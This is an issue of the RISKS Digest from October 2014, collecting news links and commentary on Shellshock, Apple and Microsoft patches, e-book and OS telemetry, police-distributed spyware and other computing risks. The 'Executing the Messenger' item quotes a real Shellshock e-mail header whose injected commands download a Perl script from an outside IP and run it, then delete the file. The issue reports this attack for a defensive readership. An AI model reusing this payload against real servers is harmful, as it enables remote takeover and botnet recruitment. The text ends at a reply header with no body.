The RISKS Digest
Volume 28 Issue 32

Friday, 31st October 2014

Forum on Risks to the Public in Computers and Related Systems

ACM Committee on Computers and Public Policy, Peter G. Neumann, moderator

Please try the URL privacy information feature enabled by clicking the flashlight icon above. This will reveal two icons after each link the body of the digest. The shield takes you to a breakdown of Terms of Service for the site - however only a small number of sites are covered at the moment. The flashlight take you to an analysis of the various trackers etc. that the linked site delivers. Please let the website maintainer know if you find this useful or not. As a RISKS reader, you will probably not be surprised by what is revealed…

Contents

Rocket Heading to International Space Station Explodes; No One Is Hurt
NYT via Monty Solomon
Dallas hospital alters account of failure to diagnose first US Ebola case
David Tarabar
Cars become uninsurable due to their weak security
Jeremy Epstein
HP accidentally signed malware, will revoke certificate
Ars
Clueless FBI sabotages its own anti-encryption campaign
Caroline Craig
FBI director says Chinese hackers are like a "drunk burglar"
Ars
Report Reveals Wider Tracking of Mail in U.S.
NYT via Monty Solomon
ComputerCOP: dubious "Internet Safety Software" given to US families
Ars via NNSquad
Adobe is Spying on Users, Collecting Data on Their eBook Libraries; Adobe Responds to Reports of Their Spying, Offers Half Truths and Misleading Statements
Nate Hoffelder via Gene Wirchenko
Adobe tracks your e-book reading habits—sends logs in plain text
Ars
Bugzilla 0-day can reveal 0-day bugs in OSS giants such as Mozilla and Red Hat
Ars
White hat claims Yahoo and WinZip hacked by "shellshock" exploiters
Ars
Severe Security Problem in Drupal 7.x
Bob Gezelter
Chip&Pin^H^H^HDip: Replay It Again Sam
Henry Baker
Apple will face $350M trial over iPod DRM
Ars
Apple updates definitions to prevent "iWorm" botnet malware on Macs
Ars
APPLE-SA-2014-09-29-1 OS X bash Update 1.0
Monty Solomon
APPLE-SA-2014-09-23-1 OS X: Flash Player plug-in blocked
Monty Solomon
"One week after patch, Flash vulnerability already exploited in large-scale attacks"
Lucian Constantin
2 Drug Chains Disable Apple Pay, as a Rival Makes Plans
NYT
Apple Pay Runs Afoul of MCX, a Group With a Rival Product
Monty Solomon
Hackers swipe e-mail addresses from Apple Pay-competitor CurrentC
Ars
How Apple Pay and Google Wallet actually work
Ars Technica
Reddit-powered botnet infected thousands of Macs worldwide
Sean Gallagher
Apple patches "Shellshock" Bash bug in OS X 10.9, 10.8, and 10.7
Andrew Cunningham
Shellshock fixes beget another round of patches as attacks mount
Andrew Cunningham
Executing the Messenger
Henry Baker
Even a built-in keylogger!—"Microsoft's Windows 10 has permission to spy on you!"
Techworm
More on Windows 10 /preview/ data collection
Lauren Weinstein
"Four more botched Microsoft patches
Woody Leonhard
"Microsoft yanks botched patch KB 2949927, re-issues KB 2952664"
Woody Leonhard
"Microsoft warns users to kill botched KB 2949927 patch"
Woody Leonhard
"Microsoft misses Windows bug, hackers slip past patch"
Gregg Keizer
Windows Update intentionally destroys chips
Brian Benchoff via Henry Baker
Re: Windows 9 Reportedly Skipped as Name Would Have Created Code Bugs
Mark Thorson
"12 surprising ways personal technology betrays your privacy"
Andy Patrizio
"Critical Bugzilla vulnerability could give hackers access to undisclosed software flaws"
Lucian Constantin
Adobe's e-book reader sends your reading logs back to Adobe— in plain text
Sean Gallagher
DHS No Longer Needs Permission Slips to Monitor Other Agencies' Networks
Henry Baker
The NSA has no interest in protecting you & me
Henry Baker
Law Lets I.R.S. Seize Accounts on Suspicion, No Crime Required
Monty Solomon
How Facebook Is Changing the Way Its Users Consume Journalism
Monty Solomon
Re: where last passenger went
Dimitri Maziuk
Re: Should Airplanes Be Flying Themselves?
John Levine
Taylor Swift Tops Canadian iTunes Chart With 8 Seconds of White Noise
Lorena O'Neil via Henry Baker
Info on RISKS (comp.risks)

Rocket Heading to International Space Station Explodes; No One Is Hurt

Monty Solomon <monty@roscom.com>
Tue, 28 Oct 2014 21:19:24 -0400
The unmanned cargo rocket exploded seconds after liftoff from a NASA site in
eastern Virginia.
http://www.nytimes.com/2014/10/29/us/rocket-heading-to-international-space-station-explodes-no-one-is-hurt.html


Dallas hospital alters account of failure to diagnose first US Ebola case

David Tarabar <dtarabar@acm.org>
Sat, 25 Oct 2014 19:12:23 -0400
The first three articles in RISKS-28.30 describe a Dallas hospital blaming
EHR software for not diagnosing the first US case of Ebola.  However on a
Friday evening, the hospital told another story. (Bad news released on
Friday evening is a popular PR tactic)

  But on Friday evening, the hospital effectively retracted that portion of
  its statement, saying that `there was no flaw' in its electronic health
  records system. The hospital said “the patient's travel history was
  documented and available to the full care team in the electronic health
  record (E.H.R.), including within the physician's workflow.''

http://www.nytimes.com/2014/10/04/us/containing-ebola-cdc-troops-west-africa.html

An ER patient history is not meaningless paperwork. It may be diagnostically
significant and an ER doc is responsible for examining it.  All patients are
asked about any foreign travel. While EHR software can be improved, human
and/or institutional error should be assigned the major blame for this
failure to diagnose Ebola.


Cars become uninsurable due to their weak security

Jeremy Epstein <jeremy.j.epstein@gmail.com>
Tue, 28 Oct 2014 10:53:19 -0400
According to a BBC report, insurance companies are refusing to insure
certain models of cars, or are requiring additional safeguards.  The reason?
The electronic keys can be hacked, and the number of thefts has been
increasing dramatically.

This is probably the most direct consumer connection between (computer)
security and insurance that I've seen.  Could you imagine "your homeowners
insurance bill is going up because you run Windows"?

http://www.bbc.com/news/technology-29786320


HP accidentally signed malware, will revoke certificate (Ars)

Lauren Weinstein <lauren@vortex.com>
Fri, 10 Oct 2014 09:39:26 -0700
Ars Technica via NNSquad
http://arstechnica.com/security/2014/10/hp-accidentally-signed-malware-will-revoke-certificate/

  Regardless of the cause, the revocation of the affected certificate will
  require HP to re-issue a large number of software packages with a new
  digital signature. While the certificate drop may not affect systems with
  the software already installed, users will be alerted to a bad certificate
  if they attempt to re-install software from original media. The full
  impact of the certificate revocation won't be known until after Verisign
  revokes the certificate on October 21, Wahlin said.

Oops.


"Clueless FBI sabotages its own anti-encryption campaign" (Caroline Craig)

Gene Wirchenko <genew@telus.net>
Fri, 24 Oct 2014 21:49:14 -0700
Caroline Craig, InfoWorld | Oct 24, 2014
http://www.infoworld.com/article/2838181/security/clueless-fbi-sabotages-its-anti-encryption-campaign.html

FBI Director Comey says smartphone encryption puts law enforcement in
peril.  Too bad he doesn't seem to understand technology


FBI director says Chinese hackers are like a "drunk burglar"

Monty Solomon <monty@roscom.com>
Tue, 7 Oct 2014 10:31:54 -0400
http://arstechnica.com/tech-policy/2014/10/fbi-director-says-chinese-hackers-are-like-a-drunk-burglar/


Report Reveals Wider Tracking of Mail in U.S.

Monty Solomon <monty@roscom.com>
Tue, 28 Oct 2014 06:19:25 -0400
The Postal Service approved nearly 50,000 requests last year from law
enforcement agencies to secretly track the mail of ordinary Americans for
use in criminal and national security investigations.

http://www.nytimes.com/2014/10/28/us/us-secretly-monitoring-mail-of-thousands.html


ComputerCOP: dubious "Internet Safety Software" given to US families

Lauren Weinstein <lauren@vortex.com>
Wed, 1 Oct 2014 08:32:48 -0700
Ars via NNSquad
http://arstechnica.com/tech-policy/2014/10/computercop-the-dubious-internet-safety-software-given-to-families-nationwide/

  Police chiefs, sheriffs, and district attorneys have handed out hundreds
  of thousands of copies of the disc to parents for free at schools,
  libraries, and community events, usually as a part of an "Internet Safety"
  outreach initiative. (You can see the long list of ComputerCOP outlets
  here.) The packaging typically features the agency's official seal and the
  chief's portrait, with a signed message warning of the "dark and dangerous
  off-ramps" of the Internet.  As official as it looks, ComputerCOP is
  actually just spyware, generally bought in bulk from a New York company
  that appears to do nothing but market this software to local government
  agencies using shady information.  The way ComputerCOP works is neither
  safe nor secure. It isn't particularly effective either, except for
  generating positive PR for the law enforcement agencies distributing
  it. As security software goes, we observed a product with a
  keystroke-capturing function, also called a "keylogger," that could place
  a family's personal information at extreme risk by transmitting those
  keystroke logs over the Internet to third-party servers without
  encryption. That means many versions of ComputerCOP leave children (and
  their parents, guests, friends, and anyone using the affected computer)
  exposed to the same predators, identity thieves, and bullies that police
  claim the software protects against.  Furthermore, by providing a free
  keylogging program--software that operates without even the most basic
  security safeguards--law enforcement agencies are passing around what
  amounts to a spying tool that could easily be abused by people who want to
  snoop on spouses, roommates, or co-workers.


"Adobe is Spying on Users, Collecting Data on Their eBook Libraries"; "Adobe Responds to Reports of Their Spying, Offers Half Truths

Gene Wirchenko <genew@telus.net>
Thu, 09 Oct 2014 21:08:48 -0700
Nate Hoffelder, 6 Oct 2014
http://the-digital-reader.com/2014/10/06/adobe-spying-users-collecting-data-ebook-libraries/#.VDQhI_ldWYA

Nate Hoffelder, 7 Oct 2014
http://the-digital-reader.com/2014/10/07/adobe-responds-reports-spying-half-truths-misleading-statements/#.VDRpCvldWIV


Adobe tracks your e-book reading habits—sends logs in plain text

Lauren Weinstein <lauren@vortex.com>
Tue, 7 Oct 2014 09:22:03 -0700
Ars Technica via NNSquad
http://arstechnica.com/security/2014/10/adobes-e-book-reader-sends-your-reading-logs-back-to-adobe-in-plain-text/

  "Adobe's Digital Editions e-book and PDF reader—an application used by
  thousands of libraries to give patrons access to electronic lending
  libraries--actively logs and reports every document readers add to their
  local "library" along with what users do with those files. Even worse, the
  logs are transmitted over the Internet in the clear, allowing anyone who
  can monitor network traffic (such as the National Security Agency,
  Internet service providers and cable companies, or others sharing a public
  Wi-Fi network) to follow along over readers' shoulders.  Ars has
  independently verified the logging of e-reader activity with the use of a
  packet capture tool. The exposure of data was first discovered by Nate
  Hoffelder of The Digital Reader, who reported the issue to Adobe but
  received no reply. Ars has also reached out to Adobe for comment with no
  response."


Bugzilla 0-day can reveal 0-day bugs in OSS giants such as Mozilla and Red Hat

Monty Solomon <monty@roscom.com>
Tue, 7 Oct 2014 10:29:27 -0400
http://arstechnica.com/security/2014/10/check-point-hacks-bugzilla-tracking-system-to-demonstrate-bad-bug/


White hat claims Yahoo and WinZip hacked by "shellshock" exploiters

Monty Solomon <monty@roscom.com>
Tue, 7 Oct 2014 10:26:11 -0400
http://arstechnica.com/security/2014/10/white-hat-claims-yahoo-and-winzip-hacked-by-shellshock-exploiters/


Severe Security Problem in Drupal 7.x

"Bob Gezelter" <gezelter@rlgsc.com>
Fri, 31 Oct 2014 12:33:38 -0700
There has been a critical security flaw identified in Drupal 7.x, an update
is available. The flaw allows a SQL injection attack to compromise servers
running Drupal.  Details of the attack have been published. The relevant bug
entry appears to be:
  https://www.drupal.org/node/2146839

Bob Gezelter, http://www.rlgsc.com


Chip&Pin^H^H^HDip: Replay It Again Sam

Henry Baker <hbaker1@pipeline.com>
Tue, 28 Oct 2014 13:58:13 -0700
FYI—Didn't Ross Anderson's group at Cambridge demonstrate similar
problems with chips&pins a while ago?
  [YES: See http://www.csl.sri.com/neumann/cacm233.pdf]

Krebs on Security In-depth security news and investigation, 27 Oct 14
http://krebsonsecurity.com/2014/10/replay-attacks-spoof-chip-card-charges/

Replay Attacks Spoof Chip Card Charges

An odd new pattern of credit card fraud emanating from Brazil and targeting
U.S. financial institutions could spell costly trouble for banks that are
just beginning to issue customers more secure chip-based credit and debit
cards.

Over the past week, at least three U.S. financial institutions reported
receiving tens of thousands of dollars in fraudulent credit and debit card
transactions coming from Brazil and hitting card accounts stolen in recent
retail heists, principally cards compromised as part of the breach at Home
Depot.

The most puzzling aspect of these unauthorized charges?  They were all
submitted through Visa and MasterCard's networks as chip-enabled
transactions, even though the banks that issued the cards in question
haven't even yet begun sending customers chip-enabled cards.

The most frustrating aspect of these unauthorized charges?  They're far
harder for the bank to dispute.  Banks usually end up eating the cost of
fraud from unauthorized transactions when scammers counterfeit and use
stolen credit cards.  Even so, a bank may be able to recover some of that
loss through dispute mechanisms set up by Visa and MasterCard, as long as
the bank can show that the fraud was the result of a breach at a specific
merchant (in this case Home Depot).

However, banks are responsible for all of the fraud costs that occur from
any fraudulent use of their customers' chip-enabled credit/debit cards
-- even fraudulent charges disguised as these pseudo-chip transactions. [...]


Apple will face $350M trial over iPod DRM

Monty Solomon <monty@roscom.com>
Fri, 3 Oct 2014 16:44:29 -0400
http://arstechnica.com/tech-policy/2014/10/apple-will-face-350m-trial-over-ipod-drm/


Apple updates definitions to prevent "iWorm" botnet malware on Macs

Monty Solomon <monty@roscom.com>
Tue, 7 Oct 2014 10:30:53 -0400
http://arstechnica.com/apple/2014/10/apple-updates-definitions-to-prevent-iworm-botnet-malware-on-macs/


APPLE-SA-2014-09-29-1 OS X bash Update 1.0

Monty Solomon <monty@roscom.com>
Fri, 3 Oct 2014 14:30:31 -0400
OS X bash Update 1.0 is now available and addresses the following:

Bash
Available for: OS X Lion v10.7.5, OS X Lion Server v10.7.5, OS X Mountain Lion v10.8.5,
OS X Mavericks v10.9.5
Impact: In certain configurations, a remote attacker may be able to execute
arbitrary shell commands
Description: An issue existed in Bash's parsing of environment
variables. This issue was addressed through improved environment variable
parsing by better detecting the end of the function statement.
This update also incorporated the suggested CVE-2014-7169 change, which
resets the parser state.
In addition, this update added a new namespace for exported functions by
creating a function decorator to prevent unintended header passthrough to
Bash. The names of all environment variables that introduce function
definitions are required to have a prefix "__BASH_FUNC<" and suffix ">()" to
prevent unintended function passing via HTTP headers.

CVE-2014-6271 : Stephane Chazelas
CVE-2014-7169 : Tavis Ormandy

OS X bash Update 1.0 may be obtained from the following webpages:
http://support.apple.com/kb/DL1767 - OS X Lion
http://support.apple.com/kb/DL1768 - OS X Mountain Lion
http://support.apple.com/kb/DL1769 - OS X Mavericks

To check that bash has been updated:

* Open Terminal
* Execute this command:
bash --version
* The version after applying this update will be:
OS X Mavericks:  GNU bash, version 3.2.53(1)-release (x86_64-apple-darwin13)
OS X Mountain Lion:  GNU bash, version 3.2.53(1)-release (x86_64-apple-darwin12)
OS X Lion:  GNU bash, version 3.2.53(1)-release (x86_64-apple-darwin11)

Information will also be posted to the Apple Security Updates
web site: http://support.apple.com/kb/HT1222

This message is signed with Apple's Product Security PGP key,
and details are available at:
https://www.apple.com/support/security/pgp/


APPLE-SA-2014-09-23-1 OS X: Flash Player plug-in blocked

Monty Solomon <monty@roscom.com>
Fri, 3 Oct 2014 14:29:09 -0400
Due to security issues in older versions, Apple has updated the web plug-in
blocking mechanism to disable all versions prior to Flash Player 15.0.0.152
and 13.0.0.244.

Information on blocked web plug-ins will be posted to:
http://support.apple.com/kb/HT5655

This message is signed with Apple's Product Security PGP key, and details
are available at: https://www.apple.com/support/security/pgp/


"One week after patch, Flash vulnerability already exploited in large-scale attacks" (Lucian Constantin)

Gene Wirchenko <genew@telus.net>
Tue, 21 Oct 2014 17:51:20 -0700
Lucian Constantin, Infoworld, 21 Oct 2014
large-scale attacks
The Fiesta exploit kit bundles an exploit for the CVE-2014-0569
vulnerability in Flash Player, researchers found
http://www.infoworld.com/article/2836438/security/one-week-after-patch-flash-vulnerability-already-exploited-in-largescale-attacks.html


2 Drug Chains Disable Apple Pay, as a Rival Makes Plans

Monty Solomon <monty@roscom.com>
Sun, 26 Oct 2014 23:32:57 -0400
A consortium of merchants plans to introduce a payment system next year that
will supplant the use of credit and debit cards.

http://www.nytimes.com/2014/10/27/technology/personaltech/2-drug-chains-disable-apple-pay-as-a-rival-makes-plans-.html


Apple Pay Runs Afoul of MCX, a Group With a Rival Product

Monty Solomon <monty@roscom.com>
Wed, 29 Oct 2014 07:08:12 -0400
Rite Aid and CVS are not accepting Apple Pay because they belong to a
consortium of retailers planning to release their own mobile payment system
next year.

http://www.nytimes.com/2014/10/29/technology/apple-pay-runs-afoul-of-a-rival.html


Hackers swipe e-mail addresses from Apple Pay-competitor CurrentC

Monty Solomon <monty@roscom.com>
Wed, 29 Oct 2014 22:46:18 -0400
http://arstechnica.com/business/2014/10/cvs-rite-aid-supported-alternative-to-apple-pay-already-hacked/


How Apple Pay and Google Wallet actually work

Monty Solomon <monty@roscom.com>
Wed, 29 Oct 2014 22:47:29 -0400
http://arstechnica.com/gadgets/2014/10/how-mobile-payments-really-work/


Reddit-powered botnet infected thousands of Macs worldwide (Sean Gallagher)

Monty Solomon <monty@roscom.com>
Sun, 5 Oct 2014 00:08:37 -0400
Sean Gallagher, Ars Technica, 3 Oct 2014
Mac.BackDoor.iWorm used Minecraft server subreddit for command and control.

The Russian antivirus vendor Dr. Web has reported the spread of a new botnet
that exclusively targets Apple computers running Mac OS X.  According to a
survey of traffic conducted by researchers at Dr. Web, over 17,000 Macs
worldwide are part of the Mac.BackDoor.iWorm botnet-and almost a quarter of
them are in the US. One of the most curious aspects of the botnet is that it
uses a search of Reddit posts to a Minecraft server list subreddit to
retrieve IP addresses for its command and control (CnC) network. That
subreddit now appears to have been expunged of CnC data, and the account
that posted the data appears to be shut down. ...

http://arstechnica.com/security/2014/10/reddit-powered-botnet-infected-thousands-of-macs-worldwide/


Apple patches "Shellshock" Bash bug in OS X 10.9, 10.8, and 10.7 (Andrew Cunningham)

Monty Solomon <monty@roscom.com>
Fri, 3 Oct 2014 00:23:44 -0400
Andrew Cunningham, Ars Technica, 29 Sep 2014
Fixes Bash bug discovered last week that's already been seen in the wild.
http://arstechnica.com/apple/2014/09/apple-patches-shellshock-bash-bug-in-os-x-10-9-10-8-and-10-7/
  [See also http://support.apple.com/kb/HT6495—PGN]


Shellshock fixes beget another round of patches as attacks mount (Sean Gallagher)

Monty Solomon <monty@roscom.com>
Fri, 3 Oct 2014 00:22:24 -0400
Sean Gallagher, Ars Technica, 30 Sep 2014
SANS' Internet Storm Center moves up threat level based on bash exploits in
  wild.

Over the past few days, Apple, Red Hat, and others have pushed out patches
to vulnerabilities in the GNU Bourne Again Shell (bash). The vulnerabilities
previously allowed attackers to execute commands remotely on systems that
use the command parser under some conditions-including Web servers that use
certain configurations of Apache. However, some of the patches made changes
that broke from the functionality of the GNU bash code, so now debate
continues about how to "un-fork" the patches and better secure bash.

At the same time, the urgency of applying those patches has mounted as more
attacks that exploit the weaknesses in bash's security (dubbed "Shellshock")
have appeared. In addition to the threat first spotted the day after the
vulnerability was made public, a number of new attacks have emerged. While
some appear to simply be vulnerability scans, there are also new exploit
attempts that carry malware or attempt to give the attacker direct remote
control of the targeted system. ...

http://arstechnica.com/security/2014/09/shellshock-fixes-beget-another-round-of-patches-as-attacks-mount/


Executing the Messenger

Henry Baker <hbaker1@pipeline.com>
Tue, 28 Oct 2014 14:16:05 -0700
[attachment (Henry says, “but sometimes a picture is worth 1000 words.'')
deleted for RISKS.  Sorry.  PGN]

Here's the To: line:
To: {:;, }, /bin/sh.-c.'/bin/sh.-c.'cd/tmp, curl.-sO.178.254.31.165/ext.txt,
    lwp-download.http:;, //178.254.31.165/ex.txt, wget.178.254.31.165/ex.txt,
    fetch.178.254.31.165/ex.txt, perl.ex.txt,
    <rm.-fr.ex.*'.&'.&@mailserver.internaldomain>

Cc, From, Subject, References, Message-ID, Comments, Keywords, Resent-From
are all similar.

Nothing quite like bashing the postman with shellshock...

Michael Mimoso  Follow @mike_mimoso 27 Oct 2014
Shellshock Exploits Targeting SMTP Servers at Webhosts
https://threatpost.com/shellshock-exploits-targeting-smtp-servers-at-webhosts/109034

The persistence of the Shellshock vulnerability remains high more than a
month after it first surfaced.  The latest attacks involved SMTP servers
belonging to web hosts, said a report published by the SANS Internet Storm
Center.

Attackers are using Shellshock exploits targeting the now infamous
vulnerability in Bash (Bourne Again Shell) in order to drop a perl script
onto compromised computers.  The script adds the hacked computers to a
botnet that receives its commands over IRC, said a post on the Binary
Defense Systems website: “The attack leverages Shellshock as a main attack
vector through the subject, body, to, from fields.  Once compromised, a perl
botnet is activated and beaconing on IRC for further instructions.''


Even a built-in keylogger!—"Microsoft's Windows 10 has permission to spy on you!"

Lauren Weinstein <lauren@vortex.com>
Tue, 7 Oct 2014 08:21:54 -0700
Techworm via NNSquad
http://www.techworm.net/2014/10/microsofts-windows-10-permission-watch-every-move.html

  "Microsoft collects information about you, your devices, applications and
  networks, and your use of those devices, applications and
  networks. Examples of data we collect include your name, email address,
  preferences and interests; browsing, search and file history; phone call
  and SMS data; device configuration and sensor data; and application
  usage."

  "If you open a file, we may collect information about the file, the
  application used to open the file, and how long it takes any use [of]it
  for purposes such as improving performance, or [if you]enter text, we may
  collect typed characters, we may collect typed characters and use them for
  purposes such as improving autocomplete and spell check features."

Worth reading, even though the entire article is in a low-contrast font and
italics.

  [See also Chris Merriman, *The Inquirer*, 3 Oct 2014
  Its 'privacy' policy includes permission to use a keylogger
http://www.theinquirer.net/inquirer/news/2373838/microsofts-windows-10-preview-has-permission-to-watch-your-every-move
  ]


More on Windows 10 /preview/ data collection

Lauren Weinstein <lauren@vortex.com>
Tue, 7 Oct 2014 09:03:11 -0700
I want to add a few of my own thoughts to that article on the Windows 10
preview version data collection policies.

If any of those data collection features were enabled by default, and unless
there's a big red warning at installation that you must respond to with more
than a single click, explaining all these aspects, it's still
unacceptable. Too many people will download this and use it like any other
system without considering the implications. I couldn't care less what they
plan to do when it goes out of beta at this juncture—I'm concerned about
right now.

As I recall they've done similar in previous previews, but the stakes are
much higher now given government attitudes to collected data.

It is a mistake to assume that everyone who will download this preview or
end up with it installed (perhaps by their "IT Guy") will be cognizant of
the options and implications. I'm the guy who found MS' undisclosed "phone
home" behavior years ago. It was not an enormous privacy problem, but it was
still telling and a lot of bad press for MS resulted.


"Four more botched Microsoft patches (Woody Leonhard)

Gene Wirchenko <genew@telus.net>
Fri, 17 Oct 2014 14:29:16 -0700
Woody Leonhard, InfoWorld, 16 Oct 2014
Windows users are reporting significant problems with four more
October Black Tuesday patches: KB 3000061, KB 2984972, KB 2949927, KB 2995388
http://www.infoworld.com/article/2834535/security/four-more-botched-black-tuesday-patches-kb-3000061-kb-2984972-kb-2949927-and-kb-2995388.html


"Microsoft yanks botched patch KB 2949927, re-issues KB 2952664" (Woody Leonhard)

Gene Wirchenko <genew@telus.net>
Mon, 20 Oct 2014 11:32:26 -0700
Ah, the risks of missing documentation.

Woody Leonhard, InfoWorld | 17 Oct 2014
Windows 7 upgrade compatibility patch gets a tweaked installer, while
the SHA-2 hashing patch is summarily removed without explanation
http://www.infoworld.com/article/2834930/security/microsoft-yanks-botched-patch-kb-2949927-re-issues-kb-2952664.html


"Microsoft warns users to kill botched KB 2949927 patch" (Woody Leonhard)

Gene Wirchenko <genew@telus.net>
Mon, 20 Oct 2014 11:45:17 -0700
Woody Leonhard, InfoWorld | 20 Oct 2014
Microsoft yanked SHA-2 patch KB 2949927, and now goes further and
cautions users to uninstall the update
http://www.infoworld.com/article/2835571/microsoft-windows/microsoft-says-best-way-to-fix-botched-kb-2949927-patch-is-to-kill-it.html


"Microsoft misses Windows bug, hackers slip past patch"

Gene Wirchenko <genew@telus.net>
Thu, 23 Oct 2014 14:09:10 -0700
Gregg Keizer, Computerworld, 22 Oct 2014
Microsoft misses Windows bug, hackers slip past patch
Last week's security update 'not robust enough,' say researchers who
co-reported flaw
http://www.infoworld.com/article/2837085/security/microsoft-misses-windows-bug-hackers-slip-past-patch.html


Windows Update intentionally destroys chips (Brian Benchoff)

Henry Baker <hbaker1@pipeline.com>
Fri, 24 Oct 2014 09:35:35 -0700
Microsoft Windows Update distributed new driver code that intentionally
destroys "counterfeit" chips; the USB "PID" is set to 0 in the EEPROM of the
device, rendering the device useless forever more.

This ploy opens up a whole new front in the hacker wars; NSA TAO is no doubt
rubbing its hands with delight as we speak.

Just as STUXNET broke down one barrier in hacking; FTDI broke down another.
E.g., in the future, look for iPhone and Android apps which disable their
competitor apps & implanted medical devices that destroy other implanted
medical devices found in the same human body. [...]

Brian Benchoff, FTDI Screws Up, Backs Down, 24 Oct 2014
http://hackaday.com/2014/10/24/ftdi-screws-up-backs-down/


Re: Windows 9 Reportedly Skipped as Name Would Have Created Code Bugs

Mark Thorson <eee@sonic.net>
Mon, 27 Oct 2014 21:09:17 -0700
I confidently predict the next version will be Windows 20, which raises the
obvious question of what follows Windows 80?  I suggest Windows A.  That
buys another 26 major revisions, which should take us comfortably past the
year 199Z (2025 AD).


"12 surprising ways personal technology betrays your privacy" (Andy Patrizio)

Gene Wirchenko <genew@telus.net>
Fri, 03 Oct 2014 11:06:10 -0700
Andy Patrizio, ITworld, 3 Oct 2014
It's not just your boss or the government that's spying on you, it's
also the devices and technologies you embrace.
http://www.infoworld.com/article/2687778/security/security-164894-12-privacy-destroying-personal-technologies.html


"Critical Bugzilla vulnerability could give hackers access to undisclosed software flaws" (Lucian Constantin)

Gene Wirchenko <genew@telus.net>
Wed, 08 Oct 2014 16:16:17 -0700
Lucian Constantin, InfoWorld, 7 Oct 2014
http://www.infoworld.com/article/2692521/security/critical-bugzilla-vulnerability-could-give-hackers-access-to-undisclosed-software-flaws.html
Software projects that use the Bugzilla bug tracking software should
deploy the latest patches immediately, security researchers said


Adobe's e-book reader sends your reading logs back to Adobe—in plain text

Monty Solomon <monty@roscom.com>
Thu, 9 Oct 2014 00:29:15 -0400
Sean Gallagher, Ars Technica, 7 Oct 2014
Digital Editions even tracks which pages you've read.  It might break a New
Jersey Law.

Adobe's Digital Editions e-book and PDF reader-an application used by
thousands of libraries to give patrons access to electronic lending
libraries-actively logs and reports every document readers add to their
local "library" along with what users do with those files. Even worse, the
logs are transmitted over the Internet in the clear, allowing anyone who can
monitor network traffic (such as the National Security Agency, Internet
service providers and cable companies, or others sharing a public Wi-Fi
network) to follow along over readers' shoulders. ...

http://arstechnica.com/security/2014/10/adobes-e-book-reader-sends-your-reading-logs-back-to-adobe-in-plain-text/


DHS No Longer Needs Permission Slips to Monitor Other Agencies' Networks

Henry Baker <hbaker1@pipeline.com>
Tue, 07 Oct 2014 07:31:13 -0700
FYI—DHS can now *legally* hone their PEN skills on other agencies, both on their websites and their mobile devices.

Aliya Sternstein, NextGov.com. 3 Oct 2014
[Some selected quotes from the OMB memo:]
http://www.nextgov.com/cybersecurity/2014/10/dhs-no-longer-needs-permission-slips-monitor-other-agencies-networks-vulnerabilities/95807/

"a proactive vulnerability scanning process"
"only applicable to Federal civilian agency networks"
"does not impact classified or national security systems and/or networks"
"the number of phishing attacks is steadily increasing"

"Scan Internet accessible addresses and public facing segments of Federal
civilian agency systems for vulnerabilities on an ongoing basis as well as
in response to newly discovered vulnerabilities on an urgent basis, to
include without prior agency authorization on an emergency basis where not
prohibited by law"

"Provide DHS ... with a complete list of all Internet accessible addresses
and systems, including static IP addresses for external websites, servers
and other access points and domain name service names for dynamically
provisioned systems"

"Enter into a legally sufficient Memorandum of Agreement with DHS relating
to the deployment of EINSTEIN (an intrusion detection and prevention
capability operated by DHS)"

"Specifically, this memorandum ... requires Federal agencies to notify DHS
US-CERT of all cyber related (electronic) incidents ... ***within one
hour***"

"All existing Federal requirements for data protection and remote access are
applicable to mobile devices" [...]

See also
http://www.whitehouse.gov/sites/default/files/omb/memoranda/2015/m-15-01.pdf


The NSA has no interest in protecting you & me

Henry Baker <hbaker1@pipeline.com>
Fri, 10 Oct 2014 09:15:18 -0700
The following paragraphs are an attempt to explain why the NSA hasn't any
interest in protecting you and me from cyber criminals.  It isn't
nonfeasance, but a result of the misapplication of Cold War thinking to the
Internet, and the NSA's preoccupation with China instead of with criminal
gangs on the Internet.

You and I are merely the "human shields" in this new Cold Cyberwar which the
US DoD has deluded itself exists with China.

The US Defense Department in 2014 is still caught up in obsolete concepts
from the Cold War when it inappropriately attempts to achieve "deterrence"
through "mutual vulnerability" in *cyber warfare*.

The concept of "Mutually Assured Destruction" (MAD) attempts to convince
both sides in a conflict that no matter who starts a war, both sides will be
utterly destroyed.  MAD was the primary doctrine of the US throughout most
of the Cold War, and although the Soviets never did attack, they also never
completely bought into the MAD notion.

A major component of MAD is "Mutual Vulnerability": since both sides are
equally vulnerable, each feels that it has more to lose from a war than the
other.  However, one curious consequence of Mutual Vulnerability is that
*Civil Defense is actually destabilizing*.  If one side invests
significantly in civil defense, it becomes less vulnerable, and may believe
that a war is survivable.  Such a civil defense strategy will break the
"Mutual" in MAD.

During the Cold War, therefore, the US invested almost nothing in civil
defense; the Soviets—not so enamored with mutual vulnerability --
invested huge amounts.

As the links & quotes below demonstrate, the US DoD today has already
conceded that its cyber defenses are next-to-non-existent, and therefore has
ramped up its *offenses*—e.g., the NSA's "TAO" group—because it
believes that a MAD-style offensive deterrence is far cheaper than improving
defenses (i.e., echoes of the US Cold War strategy).

In the upside-down-world of MAD, mutual deterrence depends upon *mutual
vulnerability*, and hence *more vulnerable is better* !?!

The major problem with this MAD strategy is that while the deterrence may
eventually work against the Chinese *state*, this deterrence has absolutely
no effect against criminal enterprises terrorizing the Internet.  None of
these criminals feel the "Mutual" in MAD, much less the "Assured" or the
"Destruction".

So "MAD" is the reason why you and I remain vulnerable to ID crooks &
thieves; the more vulnerable, the better the deterrence works—at least
against the Chinese.

If all of this sounds insane/MAD, you're right!  It is insane, which is why
RISKS readers have to blow the whistle on these bankrupt Cold War relic
doctrines.

[See also the following items, truncated for RISKS.  PGN]

"A World Gone MAD No Longer"
http://missiledefensereview.org/2014/07/30/a-world-gone-mad-no-longer/

Sino-American Strategic Restraint in an Age of Vulnerability
by David C. Gompert and Phillip C. Saunders
http://www.dtic.mil/get-tr-doc/pdf?AD=ADA577518


Law Lets I.R.S. Seize Accounts on Suspicion, No Crime Required

Monty Solomon <monty@roscom.com>
Sun, 26 Oct 2014 09:05:59 -0400
Using a law designed to help catch drug traffickers, racketeers and
terrorists by tracking their cash, the government has gone after
run-of-the-mill business owners and wage earners.

http://www.nytimes.com/2014/10/26/us/law-lets-irs-seize-accounts-on-suspicion-no-crime-required.html


How Facebook Is Changing the Way Its Users Consume Journalism

Monty Solomon <monty@roscom.com>
Sun, 26 Oct 2014 23:37:56 -0400
Facebook uses mathematical formulas to predict what its users might want to
read on the site, from which, a study says, about 30 percent of adults in
America get their news.

http://www.nytimes.com/2014/10/27/business/media/how-facebook-is-changing-th=
e-way-its-users-consume-journalism.html


Re: where last passenger went (Epstein, RISKS-28.31)

Dimitri Maziuk <dmaziuk@bmrb.wisc.edu>
Fri, 24 Oct 2014 17:24:35 -0500
